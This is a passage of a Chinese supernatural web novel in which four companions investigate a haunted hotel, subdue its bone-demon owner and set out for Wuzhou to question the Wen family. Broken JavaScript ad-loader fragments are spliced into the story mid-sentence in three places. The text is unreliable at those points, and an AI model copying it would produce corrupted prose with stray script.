“要不是林眠和我一样都看到了、听到了,我都怀疑我是在做噩梦。” 林眠回到房间,拿起自己昨晚就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 收拾好的背包,看着他们,说:“我们就这样离开吗?” “不。”秦宁摇摇头,“我们上来,是为了调查酒店。” “刚刚我们在楼下,除了那一对年轻情侣,就没见到其他人了,按道理,这个点正是退房的时间点,但显然没什么人。 “这间酒店根本没有住满人,但昨晚劳老太却把我们分开了。”秦宁分析说,“是为了什么?” 林眠听着秦宁的话,问:“把我们分开有什么好处吗?” “没什么好处吧?”瞿木想不通。 柳寂白换了个思路,“昨晚的怪事,只在四楼发生,而林眠和瞿木在四楼,是不想让我和秦宁撞到?” “可是,房间的分配是我们自己分的呀。”林眠说。 瞿木:“更重要的是,她怎么知道我和林眠住一间,你们两个住一间?” “所以,就不可能冲着躲开你们两个而故意把房间分配的远。” 昨晚这么住,完全就是意外。这个劳老太又不知道睡觉时,自己和林眠之间的距离不能超过10米。 “这倒也是。”秦宁说,“那怕是冲着某一个人来。” “冲着谁?我还是林眠?”瞿木问,这个倒是很有可能。 秦宁瞥了一眼瞿木,说:“那自然是林眠。” 瞿木:……说的我很不重要一样。 “那为什么冲着林眠来?为了菌丝?”柳寂白说,林眠身上也只有菌丝能够惹一些人惦记了。 可菌丝寄生在林眠身上,还能取出来? 她越想越多,发现自己对菌丝还是了解的太少了,只有林眠家里那些书籍的只言片语。她甚至都不清楚,菌丝是怎么寄生在人身上,还能为人所用的。 林眠看着他们,想了想,还是说:“其实昨晚后面还发生了一些事。” “什么事?”瞿木摸不着头脑,他和林眠一直待在一起,后半夜就一直有啃骨头的声音,其他也没了吧? “有一道佝偻着背的阴影。”林眠挠了挠头,说,“那个阴影一直朝着我们这边过来,但是它好像很痛苦,还说着话,我听不明白。” “还有这档事?”瞿木皱了下眉,他昨晚全身心的注意力都在那啃骨头“咯吱咯吱”的声音了,就跟身临其境一样。 秦宁对他们昨晚发生的事,也没什么头绪,这云泉酒店没感受到妖气,劳老太也确实是人,身上有人气,虽然浊气也很重。 柳寂白晃了晃头,一屁股坐了下来,说:“你们先讨论,我脑袋疼。” “我脑袋也疼。”瞿木也跟着说。这云泉酒店实在是邪门。 只剩下秦宁和林眠大眼瞪小眼。 “林小姐,菌人大概要多久才能回来?”秦宁问,现在四楼确实没发现什么问题,那还是那间房是重要线索。 林眠看了看时间,说:“应该快了,那个房间很小。” 话音刚落,菌人就从门缝处钻进来,跑到林眠的手上。 它只有拇指大小,但力气可不小,身上显然背着一个和它体型差不多大的东西。 “戒指?”林眠低下头,看着菌人身上的那个大戒指,有些摸不着头脑的拿起来,给他们看了看。 瞿木看到菌人回来了,立马凑了过来。 大家伙盯着这枚戒指看。 54. 三尊雕塑 “银戒指?”瞿木看着这枚戒指,就像是一只普通的银戒指,上面没有花纹,很朴素。 “不,更像是银木。”秦宁火眼金睛,这戒指上面虽然没花纹,打磨的很光滑,但仔细看,能看出这质感不一样。 “嗯,更像是银木,手感是一样的。”林眠说,这枚戒指拿在手上有温热的木质感,之前她也摸过银木,这种感觉是一样的。 柳寂白皱了下眉,不太解地问:“世界上还有第二块银木?” 大家都沉默了,他们只知道瞿木身上的那一块,却不曾想,云泉酒店还有一块,还被做成了戒指的模样。 “林小姐,让我看看。”秦宁对林眠说。 林眠将戒指递给秦宁,秦宁拿着戒指细细打量。 瞿木也将自己胸口处的玉佩拿下来,上面镶边的就是银木,和那枚戒指放在一起,看起来还真一样的质感。 秦宁将戒指仔细地看了一遍、摸了一边,随后发现,戒指里侧有一个小小的痕迹,他仔细地摸着那个痕迹,说:“这里像是有个字。” “什么字?”瞿木问。 秦宁透着光,仔细地又看了看,说:“文?” “文?”柳寂白音调都提高了,从秦宁手里拿过戒指,用她5.2的视力仔细观摩后,才说:“这字印的也太小了,不过确实像文字。” “文怎么了?”瞿木不懂,“说明这枚戒指是姓文的?” “可是那个奶奶姓劳呀。”林眠说道。 瞿木低下头,看了眼坐在床上的林眠,说:“那这枚戒指不是她的?” “不对,万一她老公姓文呢?” 瞿木觉得自己的猜测很对,林眠也点点头,这个可能性也很大。 柳寂白无语地看着他们两个,说:“她老公姓不姓文我不知道,但这枚戒指的文,大概率出自除妖世家里的文家。” “你身上那块玉佩,也是出自文家。”柳寂白指了指瞿木手上的玉佩,说,“我们所知道的银木,是文家那里传出来的。” “嗯,第一块银木是文家那儿的,有记载,至于这第二块…现在看来,大概率也是文家的东西。”秦宁也说道。 瞿木抽了抽嘴角,一屁股坐在林眠旁边,说:“又是这个文家。” 他对文家的认知,也就是之前秦宁提过一嘴,说是除妖世家里的第一,但已经不从事这一行了。 “文家很厉害吗?”林眠也记得这个第一除妖世家。 秦宁摇摇头,“文家早在一百年前,就转行了,之后也不再与其他世家联系。但最开始接触银木的是他们,银木邪性他们应该是最了解的。至于这第二块银木……” “我这次去梧州,也是为了找文家。”柳寂白说,“既然银木和菌丝有关,菌丝又和无支祁扯上关系,文家或许知道什么内幕。” 说完,她拿着戒指问林眠:“这块银木没有邪性在里面,但这枚戒指能否给我拿着,我想去文家,自然不能无凭无据,空手而去。” “好。”林眠没有丝毫犹豫,她还很好奇,菌人为什么带回来了一枚戒指。 “那就跟我这个玉佩差不多了。”瞿木说,没有邪性,银木也就比普通的木头好看一些。 “不过,这么多东西里,它为什么偏偏找到了银木?”秦宁看着正在啃菌丝的菌人,问道。 林眠连忙说:“我只是让它进去看看,没让它拿东西。” 说完,她低头看向正在啃菌丝的菌人,表示自己也不清楚。 “不了,先听听这房间里的模样。”秦宁摆手,“瞿木,你不是会画画吗?你负责按照林眠的描述,画下来。” “啊?”瞿木没想到一下子就给他派了活,“我不是很会啊,万一画不好你们可别说我。” 林眠等瞿木准备好后,就开始连接菌人,开始描述起劳老太屋内的场景。 “进门正对着的是一张床,床的左边大约半米的地方有个高大的柜子,柜子有好多个抽屉,上面摆放了很多杂物,乱七八糟的,还有篮子什么的都在柜子上面。” 瞿木也只能从林眠的只言片语中画下来这个柜子的模样。 “银木戒指就是在柜子里翻出来的。”林眠看到菌人在柜子里翻来翻去,把戒指拿了出来。 “之后就是挂在墙壁上的三尊雕塑,是床头上面的位置,中间的那尊最大,旁边两个要矮一些。”林眠说。 “雕塑什么样?”秦宁问。 林眠闭着眼,看着那三尊雕塑,皱了一下眉,开始仔细地描述。她说着说着,突然之间,她发现雕塑睁眼了,自己和中间的那尊雕塑直直对视上了。 不偏不倚。 林眠顿时身体挺直、僵硬,她感觉自己动弹不得。那尊雕塑的眼睛睁开,散发着幽幽的绿光。 瞿木正在低着头画,画着画着,见林眠不说话了,才抬起头来,发现林眠眉头紧皱、身体板直,看着情况不太妙。 他看向秦宁和柳寂白。 秦宁摇摇头,他也在观察情况。 林眠只是连接了菌人的身体,查看之前菌人在房间里看到的场景,按道理应该不会有事,是什么困住了她? “她在冒汗。”瞿木本来也想安静的等待,可眼见林眠状态越来越不好。他伸出手拉住林眠的手,发现她的手冰凉,脸上也出了汗,便顾不得其他的了。 他摇了摇林眠,喊她:“林眠?林眠?快醒醒,快醒醒。” “入魇了。”秦宁说,他拉开瞿木,让他保持安静,说:“看样子对方是有备而来,不要急。” 说完,秦宁镇定地画下符咒,贴到林眠的脑门上。 符咒在林眠脑门上快速燃烧,吓得瞿木想上去扑灭,被秦宁拉住了。 符咒烧完之后,林眠猛地睁开眼睛,喘着气看着他们。 “没事吧?”瞿木凑上前看了看,发现林眠脸上只有灰,没有事,才说:“我去给你打点水洗下脸。” 林眠坐在床上,还在缓神,瞿木已经把水打过来了。 “洗把脸,清醒一下。”瞿木边说边把毛巾拧干,递给林眠。 林眠擦干净了脸,将毛巾还给瞿木,说:“谢谢。” “谢啥啊,我们两谁跟谁。”瞿木见她恢复精气神了,也才放心些。 柳寂白坐上去,拉着林眠的手,关切地问她:“没事吧?刚刚你入魇了。” “嗯。”林眠轻声,眼神里闪过一丝迷茫。等她休息了会,大家伙儿都坐着了,林眠才开口解释说:“那三尊雕塑,很奇怪。” 秦宁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 抬起头,他手上还拿着刚刚瞿木画的,说:“这三尊雕塑,绝对不是道门正派会供奉的,但就图上这个而言,我从未见过。” “林眠,你看看,我画的像不像。” 秦宁一说完,瞿木就拿过画,递到林眠的面前,让她看。 林眠低着头,看了几眼,眼里闪过一抹惊喜,说:“很像,就是花纹不太一样,其他地方都画的很像。” “花纹这个我没办法,你形容的太抽象了。”瞿木不服气地说,就林眠那个什么“弯弯曲曲,像牡丹花的花纹”的形容,他拿头画都画不出来。 “你见过这样类似的雕塑吗?”秦宁问一旁不吭声的柳寂白。 柳寂白摇摇头,“虽然我们不供奉正经的神,但也没见过这样的。” 秦宁也只得放弃,只能回去之后再查查这些雕塑的来历。 “我想,”林眠突然开口,“这三尊雕塑,应该和无支祁有关。” “什么?”柳寂白一听到“无支祁”三个字,就按捺不住了,抓着林眠问:“怎么说?你还有新发现?” 林眠皱着一张脸,垂着头,看起来有些丧气地说:“刚刚雕塑睁开眼睛,看着我,和我说话了。” “说了什么?”瞿木紧张地问,他还是第一次见林眠这么垂头丧气的。 “他说,”林眠咬着下唇,一回想起来,就有那种被恶心东西缠上的感觉,让人忍不住作呕。她也不知道这种感觉从何而来,明明就只是和雕塑对视。 柳寂白察觉到林眠的手心发凉,便搓了搓,说:“有什么事和我们说就好了,不管什么事,我们都在这里,肯定不会让你出事的。” 林眠看向柳寂白,喊了声:“柳大师。” “别叫我大师了,叫我寂白就行。”柳寂白说,每次都叫她大师,弄的她都不好意思了。也就知道秦宁享受大师这个称呼。 “雕塑说它是无支祁,它…”林眠稳了稳心神,接着说,“它会来找我报仇。” “报仇?”瞿木一个弹射起步,这无支祁怎么盯上林眠了? “嗯。”林眠点点头,脑子里不由得回想起那股寒意,这是她第一次这么明晃晃的感受到害怕。 在房间里的那一瞬间,她觉得周围就像个冰窖一样,冷得不行。 瞿木暴跳如雷,拉着林眠说:“我们还是赶紧离开吧。” “应该是指菌丝。”秦宁开口,“看来没错,之前菌丝占据林眠的身体和我说话,目的也是为了消灭无支祁。” “这是妖物之间的宿仇?”柳寂白有点恍然大悟。 秦宁点点头,“不排除。” “可林眠怎么办?这妖物打架归打架,别带上林眠啊。”瞿木很着急,这些日子,他虽然对无支祁一知半解,但意识里就觉得对方很强大,还是有组织的,像之前的黑衣人,还有况衍君。 菌丝这边,就寄生在林眠体内,还有个没啥用的小菌人,以及……自己。 瞿木潜意识里已经觉得自己是菌丝这边的了,谁让他被菌丝寄生了,要是没有林眠,他恐怕也是个拇指大的菌人了。 “你就这么在意林眠啊?”柳寂白好笑地看着瞿木,“要是菌丝死了,林眠会不会死还不清楚,但是你肯定死。” 瞿木:…… 55. 审问劳老太 林眠看向瞿木,思索再三,想说点什么,又还是住了嘴。 瞿木抿着唇,不是很自然地回答柳寂白:“我当然关心林眠,她现在就相当于我的再生父母了。” 说完,他又没忍住,撇了一眼林眠,观察她的表情。很可惜,林眠脸上没什么表情。 “很快了。”林眠突然说了一句让大家都摸不着头脑的话。 “它说,它很快就会出来。”林眠又补充说。 秦宁和柳寂白对视了一眼。 “出来?祂被困住了?”秦宁自言自语说道,他们只知道无支祁的存在,却从来没见过无支祁。 这么一说,之前菌丝说的话,那就是…被困在海底? “无支祁具体是什么,我们也不清楚,典籍上只有一句记载,‘困在海底的巨兽’。”柳寂白轻声说。 “十年前,银木邪性四处作孽,有一天突然消失了,但这十年来,无支祁突然出现,一直在收集各种邪性和妖物,甚至还有人在追随祂。”秦宁补充说,“我们也一直在追查踪迹,但线索很少。” 林眠抿着唇,她还是心慌,那种和雕塑对视后,浑身毛骨悚然的感觉一直挥之不去。这让她极其的不适。 瞿木听的都很无奈,问他们:“要不直接把这老太太抓过来,问个清楚得了。那个雕塑是她房间里供奉的,银木戒指是在她房间里发现的。” “还有,昨晚的怪事,肯定和她脱不了干系。” 柳寂白眼睛一亮,“这个方法不错,简单粗暴。” “这是违法,她虽然年纪大,倘若我们把人绑了,构成绑架犯罪。”秦宁说,他倒是希望用…和平一些的手段。 瞿木和柳寂白听了,不约而同地翻了个白眼,瞿木反问他:“拜托,你看这老太太是正常人吗?” “我估计她也是无支祁组织的一员,至于延长寿命…肯定用了什么妖术!”柳寂白信誓旦旦地说。 林眠听着他们的对话,心就安定了下来,也有心情去问:“七星灯借寿?” 她记得以前在地摊买的杂志,上面就有写过诸葛亮七星灯借寿。 “没有的事。”秦宁直接打破林眠的幻想。 林眠希冀的眼神瞬间暗淡了下来。 “话题歪了啊。”柳寂白出声说,“我可不管你这什么法律不法律的,把人抓过来问一下就是了。” 话毕,柳寂白就直接冲了出去。 瞿木看着推开的房间,又看向秦宁,问:“我们不去帮帮忙?” 他私心里,还是支持柳寂白的做法,简单粗暴又快速。 秦宁没吭声。 林眠也觉得柳寂白这么冲动的下去,万一这老太太很厉害,还有那三尊雕塑在,怕柳大师出什么事,便也站起身来,把菌人一把塞进口袋里,说:“还是去看看吧。” 柳寂白气冲冲下了楼。 劳老太刚从房间里出来,就看到那位年轻女子急匆匆从楼上下来。 “要办理退房吗?”劳老太问她,又注意到她手上没拿行李,便说:“看来不是。” “劳奶奶,你这酒店明明空房很多,怎么分给我们那么远的房间?”柳寂白也不打哑谜,直接问她。 劳老太抬起浑浊的双眼,看着柳寂白,说:“你们四人的八字不合,分开是最好的,靠得近容易出事。” “你还会算命?”柳寂白不可置信,这老太太还玩这一套。既然知道风水玄学,那这屋内的摆饰全都背离了风水学。 “略懂一二。”劳老太不紧不慢地回答。 柳寂白走到前台处,与劳老太面对面,说:“既然如此,那麻烦您解释一下你这房间里的雕塑,供奉的又是哪一位祖师爷?” 问完,就想朝那间房走去,她倒是想要看看,能让林眠入魇的雕塑,到底长什么样子。 “你们对我的房间很好奇。”劳老太站在前台处,侧过头,盯着柳寂白问,声音低沉而又尖锐。 在这一瞬间,柳寂白突然觉得,面前这个老太太和之前不太一样了。 “你们还想要再进去吗?”劳老太一步一步地朝前走,走到房间门口处。 柳寂白下意识地往后退了一步,她感觉到了怨气,在劳老太的身上,突然散发出巨大的怨气,扑面而来。 看来是不准备藏了。 “你究竟是什么?似人不是人,似妖不是妖。”柳寂白将手伸到后面背着的蛇骨伞处,一双眼紧紧盯着劳老太。 劳老太不为所动,脸上毫无波澜,冷冷回答道:“我不是人,那站在你面前的是什么?” “是什么?” 柳寂白突然感觉面前变得扭曲,劳老太苍老的面容糊成一团,随后变换成各种各样的容貌,都在她的面前一闪而过。 她握着的蛇骨伞正在不安的振动。 “你说,我是什么?” 劳老太的声音再次传来,柳寂白只觉得眼前模糊一片,眼球受到重压,她直接抽出蛇骨伞,对着劳老太。 “你是什么!”柳寂白对着她喊。 周围变回原样,劳老太依旧佝偻着身体,朝她摆摆手:“你回去吧,我的目标不是你。” “那你的目标是谁?”柳寂白挥动蛇骨伞,直指劳老太的眉心处。 蛇骨伞上的蛇头就像是会动一样,朝着劳老太长牙舞爪。 劳老太毫不畏惧,甚至没往后退一步,只是微微侧头,看着楼梯上的林眠,说:“我要的人来了。” 林眠想来找柳寂白,谁知一下来,就看到她们两个剑拔弩张,而劳老太说的话…好像是指自己? 柳寂白回过头,看到了林眠。 而就在这间隙,劳老太突然一闪到林眠的身边。 林眠被吓得靠着墙壁,看着近在咫尺的劳老太。 “干…干嘛?”林眠有些害怕地看着劳老太,脑子里回想起昨晚啃骨头的声音,还有……那道巨大的黑影。 虽然她没和秦宁他们说,但她潜意识里就觉得,那个佝偻着身体的巨大黑影,就是劳老太。 “昨晚你都看到了是吗?” 劳老太问林眠,虽然是疑问语气,但林眠不这么觉得,她现在确定,这个劳老太是故意的。 昨天晚上凌晨三四点的时候,瞿木缩在床上睡不着,林眠也毫无睡意,特别是那啃骨头“咔叽咔叽”的声音一直缠绕在耳边。 她躺了好久,最后还是从床上起来。一起来,才发现,地面有一道巨大的阴影,就像是一个人弓着背的样子。 那道阴影就像是看到了自己一样,朝着自己前进,但到一定距离就不动了。 就这么僵持了一晚上,直到天亮了,阴影才消散了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “看到什么?”林眠移开视线,假装不知情,看向一旁准备随时冲上来的柳寂白。 劳老太反而笑了,说道:“我动不了你。” “老妖婆,你在干嘛?”瞿木下来的时候,就看到劳老太和林眠凑的很近,他情急之下,连忙喊了出来。 “你放开林眠。”瞿木冲下来,将林眠拉开, 劳老太抬起头,看向台阶上的瞿木,一字一句道:“老、妖、婆?” “不是么?”瞿木挡在林眠的面前,紧张地看着劳老太。 劳老太幽幽地收回视线,慢慢往回走。 柳寂白自然不会这么放过她,她还有一堆问题想问,便用蛇骨伞挡在前面。劳老太也没惯着她,伸出手直接推开蛇骨伞,和柳寂白过起招来。 两人一来一回,在前台大厅处打了起来。 “这老妖婆动作也太快了,和之前不太一样啊。”瞿木咽了口口水说,也不知道这老妖婆什么来历。 林眠从瞿木的背后探出头,看着正在打架的两个人。 “我们要不要上去拉住她们?”林眠问,虽然她们看起来打得不相上下,但劳老太毕竟看着是个头发花白的老人。 瞿木摇摇头,说:“要不我们去找秦宁?” “找我做什么?” 瞿木话音刚落,秦宁就从楼上下来了。 “秦大师,你下来了,她们打起来了。”林眠见秦宁下来,连忙说。 秦宁点头,但没动手,也只是站着看了起来。 柳寂白前面还行,但是打到后面,她就逐渐有些吃力,没想到这老太婆拳脚功夫还不错,自己竟然还落了下风。 “你们站着做什么?过来帮忙啊!”柳寂白用蛇骨伞撑住劳老太的进攻,对着台阶上的三人喊。 秦宁见状,才出手。 “我们要不要上?”瞿木问林眠。 “上吧。”林眠觉得这么打下去也不行,还是让他们停下来比较好。比起秦宁和柳寂白的拳脚功夫,她更喜欢站在原地操控菌丝。 秦宁和柳寂白见菌丝过来,就知道林眠出手了。 劳老太一个人对付秦宁和柳寂白本来就吃力,林眠的加入,很快她就招架不住了,没过几招,就被菌丝捆了起来。 秦宁和柳寂白停了下来。 柳寂白这是第一次见到林眠利用菌丝的模样,不禁感叹:“这实在是太有用了,当除妖师肯定是好料子。” “所见略同。”秦宁对于这一点也很是认可。林眠身上的菌丝虽然是妖物,但却能为人类所用,如果能够掌握菌丝,那么…绝对是一件好事。 地上的劳老太在地上扭曲着。 瞿木走过来,半蹲下身,仔细地打量着劳老太说:“明明身体是个老人,动作却那么麻利,你到底是什么来头?” 这绝对不是人能做到的,但如果是人,随着年纪增大,身体自然无法那么灵活。 劳老太停止动作,仰起头,用浑浊的眼珠看着瞿木。 瞿木被看的发怵,连忙站起身,对秦宁他们说:“你们不是要审问吗?快一点吧。” 他们现在是在酒店前台大厅处,外面就是街道,万一被人看到了,报警了,那真是跳进黄河都洗不清。 “我去拉窗帘。”瞿木走到窗边,去把窗帘都拉上。 56. 骨妖 窗帘拉上,屋里瞬间就暗了下来。 瞿木打开灯,说:“好了,你们可以开始了,我替你们守着门,防止别人进来。” 林眠自认为自己不能做什么,索性站在楼梯口处,准备认真地听秦宁他们审问。 “开始吧。”柳寂白将蛇骨伞抵在劳老太的头顶上,居高临下地看着她,问:“无支祁和你什么关系?” “你们看过我的房间,看不出来吗?”劳老太仰起头,又被柳寂白摁下了下去。 秦宁在旁边,“供奉无支祁?” 劳老太下巴顶着地,没反驳秦宁的话。 “你是怎么知道无支祁的?又为什么供奉祂?”秦宁觉得奇怪,无支祁也是近些年来才出现的,拢共也就十年,怎么还会有人供奉? “因为无支祁大人是伟大的,祂是真正的神明,祂会回应我们的祈祷,满足一个老太太的愿望。”劳老太苍老的声音,在室内来回荡漾。 秦宁眉头一挑,“可笑。” “你口中的神明,不过是一个妖物。就连你,”秦宁目光一沉,“现在也是个不伦不类、不妖不人之物。” “那是你没见识过无支祁大人的厉害!”劳老太显然对秦宁的话语不屑一顾。 瞿木在门口听着,忍不住插上一句:“这无支祁像个邪教啊,连老太婆都被洗脑了。” “别的邪教可没这么好,她至少确实多活了这么多年,且身强力壮。”柳寂白说道,并问劳老太:“无支祁在你身上施了什么妖术,让你变成这样?” “活人身上皮,活人身上肉,活人身上骨。骨肉不分离,人皮若桃花。”劳老太喃喃说,突然笑了起来,脸上的褶皱也在一颤一颤的。 柳寂白听不明白,问她:“什么意思?不要打哑谜。” 秦宁听着这话有些耳熟,但一时之间又想不起来在哪听过。他按捺住,问劳老太:“那枚银木戒指,你是从哪儿得到的?” “这只是一枚戒指,没有任何用处。”劳老太说。 “不要转移话题。”秦宁见她答非所问,说道。 劳老太挣扎着仰起头,看向不远处的林眠,狰狞地说:“无支祁大人会来找你的。” “别…”柳寂白刚刚不耐烦的想说,让她别转移话题,谁知下一秒,被捆在地上的劳老太突然仰起头,眼鼻口腔处冒出白烟。 “不好,要跑!”秦宁察觉到情况不对,连忙说。 离劳老太最近的柳寂白见状,连忙念咒,但终究还是晚了一步。 劳老太在冒出白烟的时候,身上的皮肤就像是一个充满气的气球一样,突然被戳破,瘪了下来,地上只残留她身上的衣服,以及…… 林眠见状,连忙从楼梯上走下来,她操控菌丝收紧,但显然收紧了空气。她低头看上去,连忙后退了几步,说:“地上……不仅仅是衣服。” 秦宁和柳寂白都看到了,地上除了衣服,还有一张人皮,是劳老太的皮,松松垮垮,皱成一团,堆落在地上,连同着衣服。 “什么?”站在门口处的瞿木只知道劳老太跑了,但地上除了衣服,还有什么东西他看不清,便走过来,低头一看。 “妈呀!”瞿木直接跳了起来,走到前台处,不敢去看地上。 林眠第一眼也被吓到了,但有了心理建设,也就敢多看几眼,还问秦宁:“这是人皮吗?” “在古老的传说里,有画皮之说,但在我们的典籍记载中,于此类似的,是名为骨妖的妖物。骨妖没有皮、没有肉,空有骨,因此极其渴望人身上皮肉,会在夜晚啃食活人的皮肉,当把一个人完全啃食完,骨妖就拥有了那个人的皮、肉、骨。” 秦宁解释说,看到此情此景,倒也和昨晚林眠他们发生的事对上了。 “只是……” 还有一点让秦宁很疑惑。 “骨妖虽然能拿到活人的皮肉与骨,但掩藏不住身上的妖气。劳老太身上并没有妖气,反而还保留着活人的气息。”柳寂白说,“这不是妖物应该有的特征。” “但这和你们说的那个骨妖不是全对上了么?”站在前台处的瞿木说道,还问:“现在怎么办?这人皮落在这里,我们总不能屁股拍拍就走了。” 瞿木说着,还看了看四周的监控,说:“这还有监控啊!” 林眠抬起头,看了眼周围的监控,说:“那怎么办?我们要把监控破坏掉吗?” “破坏你个头,这监控是要证明我们清白的。”瞿木说,他们可没动手,是这老太自己消失了。 “哦。”林眠觉得也是,有监控在,至少能证明这不是他们杀了人。 秦宁捡起地上的衣服和人皮,说:“不行,这里的监控必须摧毁。” “啊?”林眠不解,“为什么?” “妖物的事不能被大众所知。”秦宁说,随后拿出手机拨打了一个电话,说了几句就挂了。 “我们收拾下东西走吧,等会会有人过来处理。”秦宁同他们说。 林眠起身,但走之前……她忍不住看向前台后的那个房间,问他们:“你们要进去看看吗?” 那个房间只有自己见过,但自己形容的,和亲自看的,肯定不一样。 秦宁这个时候停了下来,他倒是也真的很想看一看那三尊雕塑。 “我都忘了。”柳寂白说,她满脑子都是刚刚劳老太消失的模样,一时之间把这个房间给忘干净了。 秦宁走上前,推开门,慢慢地走进去。 其他人也跟在后面。 “唔,有些臭…”瞿木忍不住捂住鼻子。 屋里面很杂乱,和林眠形容的大差不差,就是那三尊雕像,实在是显眼。 林眠在后面拿出手机,给那三尊雕塑拍了张照片。 秦宁上前细细检查那三尊雕像,柳寂白和瞿木则在桌子上查看,看看能不能发现些什么。 “都是一些破烂。”瞿木翻了几下,说。里面都是一些发黑的针线盒,还有一些…糖果?这些糖果包装都变黑了,看起来放了很久。 “这里有相册。”柳寂白翻了翻,找到一本相册,翻了一下,都是一些老照片,看拍摄日期,最早是七几年,最晚是九几年。 瞿木也凑上前看了看,说:“这个是劳老太吧。” 年轻了几十岁的劳老太在相册里温柔的笑着,看着十分的和善。 “像。”柳寂白点点头,“看来这里真的是劳老太开的酒店啊,那她是被骨妖占据了身体吗?”
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 她话音刚落,突然感觉到周围有股强大的气流冲了过来。 在门口的林眠直接被气流冲的摔到了前台上,好在她反应迅速,用菌丝撑住了身体。而她一抬头,就见瞿木扒拉着门框,面目狰狞。 大约持续了十几秒,这股气流就停了,伴随着“嘭”的一声。 秦宁站稳身体,看着破碎的三尊雕塑,皱了一下眉。 “怎么回事?”柳寂白看着地上一片狼藉,还有那三尊雕塑也都碎了。 “无支祁的一股力量寄存在这,祂察觉到不对劲,跑了。”秦宁解释说。他刚刚在查看雕塑,发现这三尊雕塑上有不同寻常的力量,正准备上前仔细查看,谁知这雕塑感应到了,便碎了。 说完,秦宁便弯下身,检查这三尊雕塑的碎片,翻了几片,就发现问题了。 “这雕塑里混了符咒。” “什么?”柳寂白感到奇怪,这雕塑既然是供奉无支祁的,怎么可能会有符咒在里面? 瞿木和林眠两个人也走进去,弯下腰看地上碎成一地的雕塑。林眠拿起一片,仔细观察,能看到碎片里有一些黄色的纸皮覆着,在里面一层。 大家试着拼了一下,拼出一张完整的符咒。 “这是什么符咒?”瞿木问,他完全不懂这一些,但既然是符咒,秦宁他们应该认识。 秦宁手抚在上面,触摸着上面的字,而后才说:“这符咒是除妖的,只是我从没见过这个咒式。” “我也不认识。”柳寂白摇摇头。 林眠在旁边翻碎片,她翻了几下,找到眼睛那边的碎片,拿起来看了看,这个眼睛明明会发光的。 “先收起来吧。”秦宁看看时间,将这张拼凑好的符咒收了起来。 瞿木也跟着起身,他见林眠还在扒拉那些碎片,说:“别看了,走吧,等会这些碎片割到手怎么办?” “这上面好像有个字。”林眠拿着眼睛那一块碎片,仔细地看了看,说。 “什么字?”瞿木凑上前,也对这片碎片研究了一下,“还真像有个字,但看着像是少了一半。 “有点像……” 瞿木想了想,随后突然想到。 “文。”他和林眠异口同声地说了出来。 秦宁本来准备出去,一听到他们说的,立马走了过来,拿过碎片看了看。 “你看看,是不是少了一半的文字。”瞿木说。 林眠也是想到这个字,因为今天早上还讨论了文家。 “这个雕塑和文家有什么关系?”柳寂白不解。 秦宁看了看,心里大概也有数了,“看来必须要去一趟梧州了,这东西是文家制作的。” “文家和无支祁有关系。”柳寂白说,不然文家怎么会做出供奉无支祁的雕塑? “只能去找文家问问才知道了。”秦宁说。 “可是,文家已经不是除妖世家了。”林眠带着疑问说,“他们还有人会回答这些问题吗?” 毕竟一百年,可以是三代人。 “我也不清楚,但现在所有的线索都指向文家,怎么也要去一次。”秦宁说。 “嗯。”林眠点点头。 大家伙都各自回到房间里去收东西。 57. 梧州行 林眠和瞿木回到408,他们两个本来就没什么东西,也就没什么可以收的。林眠把自己的包都收好,再检查了一下瞿木的背包,说:“都收好了。” “你也要跟着他们去梧州吗?”瞿木还是忍不住想要问,他觉得事情越来越不简单了,谁能想到,他们最初的目的就是为了解决那封信上的内容。 现在信是假的,但事情越来越奇怪了。 林眠沉默了一会儿,才说:“我不能不去。” “无支祁的目标是我,”林眠说着又摇摇头,“是菌丝。” “我知道。”瞿木拍了拍自己的头,说:“只是这样太危险了。谁知道那个无支祁什么来历,我们现在什么也不知道。” 他的心里总有些不安。 林眠仰起头,看着瞿木,问他:“你害怕了?不要怕,只要有我在,你死不了的。” 瞿木:这是死不死的事情吗? “你是真没心,我是担心事情变得一发不可收拾了。”瞿木说道,“万一我们打不过无支祁呢?他还有那么多帮手。” “那我们藏起来?”林眠歪着头问,“这个办法好像也不错。” 瞿木抽了抽嘴角,藏哪里去?对方又不是普通人,是妖物,有法术,找人还不是轻轻松松? 不过,他突然想到一点。 “如果无支祁要杀你,为什么不在你小的时候把你杀了?”瞿木问,小时候的林眠又没帮手,只有一个神婆奶奶,那不是轻而易举? “对呀,这是为什么?”林眠也不知道,她从小到大就没遇到过怪人,都是村里的人。 瞿木想了一下,“难道是那会儿他们不知道你在哪?” “嗯嗯,我觉得应该是。”林眠掰着手指说:“我是去了北城,遇到你之后,才发生这些奇怪的事。” 瞿木顿时愣住了,说来确实是这样,难道是自己身边有无支祁的内鬼? “太复杂了。”瞿木摇摇头,这怎么想,看样子都是自己害了林眠啊! “我们先下去吧,去梧州就去梧州。”瞿木也只能顺着林眠的心意,心里突然觉得是自己对不起林眠了。如果林眠没遇到自己,说不定她就不会被无支祁找到了。 但是,是林眠奶奶让林眠来找瞿家…… 再结合那本日记,瞿木越想心跳的越快,下楼的速度都快了不少。 林眠听到瞿木愿意和自己一起去梧州,心里涌上一丝喜悦。她其实很自私,自私的想要瞿木陪着自己一起。 两人下楼来到前台的时候,秦宁和柳寂白也都在了。 秦宁见人到齐了,便说:“我们出发吧。” 出了云泉酒店,大家伙儿去附近找了家饭馆,吃了饭,才出发。 从云县到梧州,大概需要三小时的车程,晚上就能到梧州。 林眠坐在后座处,拿着手机搜索着梧州,看了几眼后,忍不住说:“梧州有好多梧桐树啊,好漂亮啊。” “嗯,梧州是梧桐之乡,现在刚好是秋季,是梧州最好看的一个季节了。”柳寂白说,她经常去梧州办事,但从来没有去找过文家。 林眠听了,笑着点点头,接着看了起来。 瞿木凑近一看,好家伙,看的都是攻略,不知道还以为去旅游呢。他收回视线,打开手机,刷了一下朋友圈。 百般无聊的翻了一下,就看到了林眠发的朋友圈,在云泉酒店发生了那么多事,她都不忘发朋友圈。 他突然想到,之前看林眠的手机,况衍君有给林眠点赞。 不知道发生这样的事后,两个人是不是还有好友? “你朋友圈点开给我看一下。”瞿木说。 林眠侧过头,不明所以地朋友圈点开给瞿木看。 